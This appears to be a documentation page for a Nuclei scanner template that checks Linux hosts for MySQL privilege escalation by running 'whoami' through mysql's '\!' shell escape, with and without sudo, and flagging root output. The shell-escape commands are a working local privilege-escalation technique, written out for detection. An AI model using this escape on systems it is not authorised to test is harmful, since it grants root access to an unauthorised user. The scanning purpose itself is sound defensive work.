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MySQL - Privilege Escalation

ID: privesc-mysql

Severity: high

Author: daffainfo

Tags: code,linux,mysql,privesc,local

MySQL is an open-source relational database management system (RDBMS) that uses structured query language (SQL) for managing and manipulating data. It is widely used for web applications and is known for its reliability, ease of use, and performance. MySQL is a popular choice for database-driven applications and is supported on various platforms.

id: privesc-mysql
info:
name: MySQL - Privilege Escalation
author: daffainfo
severity: high
description: |
MySQL is an open-source relational database management system (RDBMS) that uses structured query language (SQL) for managing and manipulating data. It is widely used for web applications and is known for its reliability, ease of use, and performance. MySQL is a popular choice for database-driven applications and is supported on various platforms.
reference:
- https://gtfobins.github.io/gtfobins/mysql/
metadata:
verified: true
max-request: 3
tags: code,linux,mysql,privesc,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
mysql -e '\! whoami'
- engine:
- sh
- bash
source: |
sudo mysql -e '\! whoami'
matchers-condition: and
matchers:
- type: word
part: code_1_response
words:
- "root"
negative: true
- type: dsl
dsl:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
# digest: 4a0a00473045022100d230b1d673028ba13c3ab73fee9fd24f3c85048593ac26d8c8e63b2675889fb5022015dbdbb2748696d1049418af0d57d5fc3772e3bde116445d71181fe2e05987bb:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "code/privilege-escalation/linux/binary/privesc-mysql.yaml"

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